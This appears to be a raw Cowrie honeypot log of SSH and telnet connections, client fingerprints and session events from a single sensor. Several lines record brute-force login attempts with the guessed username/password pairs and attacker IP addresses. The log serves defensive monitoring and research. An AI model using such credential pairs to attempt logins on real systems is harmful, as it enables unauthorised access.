{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:54.668718Z","src_ip":"159.203.92.129","session":"f965154c68fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:54.673190Z","src_ip":"159.203.92.129","session":"f965154c68fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anmol","password":"anmol","message":"login attempt [anmol/anmol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:54.686214Z","src_ip":"159.203.92.129","session":"f965154c68fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.961627960205078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:55.285407Z","src_ip":"114.23.51.89","session":"7d7d138bf37c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36544,"dst_ip":"159.203.135.109","dst_port":23,"session":"48805b73a832","protocol":"telnet","message":"New connection: 23.254.167.244:36544 (159.203.135.109:23) [session: 48805b73a832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:55.550370Z"}
{"eventid":"cowrie.session.closed","duration":30.78785538673401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:55.562162Z","src_ip":"114.23.51.89","session":"3679072f5c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099153757095337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:55.568077Z","src_ip":"114.23.51.89","session":"25a6d7a98ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:55.698202Z","src_ip":"159.203.92.129","session":"f965154c68fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.676947116851807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:56.394565Z","src_ip":"114.23.51.89","session":"9e91c51e9d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769885778427124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:56.536481Z","src_ip":"114.23.51.89","session":"c34a04a98d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b9e5574731","protocol":"ssh","message":"New connection: 20.244.18.126:57402 (10.17.0.5:22) [session: 41b9e5574731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:56.648556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:56.652680Z","src_ip":"20.244.18.126","session":"41b9e5574731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:56.835652Z","src_ip":"20.244.18.126","session":"41b9e5574731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57838,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3380818be70","protocol":"telnet","message":"New connection: 114.23.51.89:57838 (159.203.135.109:23) [session: b3380818be70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:57.262703Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1993","message":"login attempt [ubuntu/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:57.603024Z","src_ip":"20.244.18.126","session":"41b9e5574731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.32234835624695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:58.132620Z","src_ip":"23.254.167.244","session":"24d3442bc4c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:58.789186Z","src_ip":"20.244.18.126","session":"41b9e5574731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.41049528121948,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:59.923237Z","src_ip":"23.254.167.244","session":"20d07e3ba9f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":37120,"dst_ip":"159.203.135.109","dst_port":23,"session":"f399fb0ecbd2","protocol":"telnet","message":"New connection: 114.23.51.89:37120 (159.203.135.109:23) [session: f399fb0ecbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:00.605963Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48116,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c9f2a51b7d9","protocol":"telnet","message":"New connection: 23.254.167.244:48116 (159.203.135.109:23) [session: 6c9f2a51b7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:02.180186Z"}
{"eventid":"cowrie.session.closed","duration":30.397936820983887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:02.286938Z","src_ip":"114.23.51.89","session":"7e476924dd43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68b7d1ac4ce","protocol":"telnet","message":"New connection: 23.254.167.244:48488 (159.203.135.109:23) [session: a68b7d1ac4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:02.598106Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":37122,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d079974e9c2","protocol":"telnet","message":"New connection: 114.23.51.89:37122 (159.203.135.109:23) [session: 3d079974e9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:03.774760Z"}
{"eventid":"cowrie.session.closed","duration":33.57755517959595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:04.084571Z","src_ip":"114.23.51.89","session":"e4bc603bf584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3208e28f55","protocol":"telnet","message":"New connection: 114.23.51.89:37126 (159.203.135.109:23) [session: cf3208e28f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:04.653337Z"}
{"eventid":"cowrie.session.closed","duration":33.66439938545227,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:05.313702Z","src_ip":"23.254.167.244","session":"b6d209b86418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8640682422e","protocol":"telnet","message":"New connection: 114.23.51.89:37142 (159.203.135.109:23) [session: c8640682422e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:05.746919Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":37148,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f097f394ed","protocol":"telnet","message":"New connection: 114.23.51.89:37148 (159.203.135.109:23) [session: 05f097f394ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:06.435665Z"}
{"eventid":"cowrie.session.closed","duration":55.44406223297119,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:06.496612Z","src_ip":"209.159.146.115","session":"4a0b5df5f355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.112529039382935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:07.215590Z","src_ip":"114.23.51.89","session":"f0fb1ea7f19c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60972,"dst_ip":"159.203.135.109","dst_port":23,"session":"391032e9a1c3","protocol":"telnet","message":"New connection: 23.254.167.244:60972 (159.203.135.109:23) [session: 391032e9a1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:10.244431Z"}
{"eventid":"cowrie.session.closed","duration":31.485365390777588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:10.630221Z","src_ip":"114.23.51.89","session":"c0b8c893cd06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b63309eee8c","protocol":"telnet","message":"New connection: 114.23.51.89:34476 (159.203.135.109:23) [session: 7b63309eee8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:11.066110Z"}
{"eventid":"cowrie.session.closed","duration":31.085320711135864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:12.160903Z","src_ip":"114.23.51.89","session":"165e2a43246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310709476470947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:13.301623Z","src_ip":"114.23.51.89","session":"401e1afc26d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34488,"dst_ip":"159.203.135.109","dst_port":23,"session":"74b1c0c47693","protocol":"telnet","message":"New connection: 114.23.51.89:34488 (159.203.135.109:23) [session: 74b1c0c47693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:13.579575Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34496,"dst_ip":"159.203.135.109","dst_port":23,"session":"df981d7c76d6","protocol":"telnet","message":"New connection: 114.23.51.89:34496 (159.203.135.109:23) [session: df981d7c76d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:13.631223Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37298,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ff76b921774","protocol":"telnet","message":"New connection: 23.254.167.244:37298 (159.203.135.109:23) [session: 6ff76b921774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:14.973370Z"}
{"eventid":"cowrie.session.closed","duration":30.8147714138031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:15.569202Z","src_ip":"114.23.51.89","session":"04f422da3169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64677929878235,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:15.645056Z","src_ip":"23.254.167.244","session":"7c9ba9cdd676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938467502593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.313160Z","src_ip":"114.23.51.89","session":"32c4e66df1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37828,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b3f5ce172b","protocol":"telnet","message":"New connection: 23.254.167.244:37828 (159.203.135.109:23) [session: 73b3f5ce172b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.576521Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":45898,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a250ba1d89","protocol":"ssh","message":"New connection: 74.87.117.149:45898 (10.17.0.5:22) [session: 54a250ba1d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.793272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.797825Z","src_ip":"74.87.117.149","session":"54a250ba1d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39444,"dst_ip":"159.203.135.109","dst_port":23,"session":"120a604a081a","protocol":"telnet","message":"New connection: 23.254.167.244:39444 (159.203.135.109:23) [session: 120a604a081a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.812617Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.822339Z","src_ip":"74.87.117.149","session":"54a250ba1d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsftpuser","password":"awsftpuser","message":"login attempt [awsftpuser/awsftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:16.952505Z","src_ip":"74.87.117.149","session":"54a250ba1d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.117809772491455,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:17.495068Z","src_ip":"23.254.167.244","session":"81cab0e28a4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:17.980120Z","src_ip":"74.87.117.149","session":"54a250ba1d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34510,"dst_ip":"159.203.135.109","dst_port":23,"session":"236ae0e57c3e","protocol":"telnet","message":"New connection: 114.23.51.89:34510 (159.203.135.109:23) [session: 236ae0e57c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:18.033551Z"}
{"eventid":"cowrie.session.closed","duration":30.528552055358887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:18.480740Z","src_ip":"114.23.51.89","session":"4c55ee87b1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.46416401863098,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:19.605312Z","src_ip":"23.254.167.244","session":"210747537970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2398c18c6ee","protocol":"telnet","message":"New connection: 114.23.51.89:44722 (159.203.135.109:23) [session: c2398c18c6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:19.778383Z"}
{"eventid":"cowrie.session.closed","duration":32.02707624435425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:19.987062Z","src_ip":"114.23.51.89","session":"f4d585b02614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":40252,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2d7e50c5cc","protocol":"ssh","message":"New connection: 157.66.34.121:40252 (159.203.135.109:22) [session: ea2d7e50c5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:20.691273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:20.695545Z","src_ip":"157.66.34.121","session":"ea2d7e50c5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:20.929787Z","src_ip":"157.66.34.121","session":"ea2d7e50c5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44726,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b45ef44e2eb","protocol":"telnet","message":"New connection: 114.23.51.89:44726 (159.203.135.109:23) [session: 9b45ef44e2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:20.980589Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"01796ab0b9f0","protocol":"telnet","message":"New connection: 209.159.146.115:60950 (159.203.135.109:23) [session: 01796ab0b9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:21.232729Z"}
{"eventid":"cowrie.session.closed","duration":31.436206579208374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:21.844664Z","src_ip":"114.23.51.89","session":"16279a7fedcb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"vbox","message":"login attempt [vboxuser/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:21.900888Z","src_ip":"157.66.34.121","session":"ea2d7e50c5cc","protocol":"ssh"}
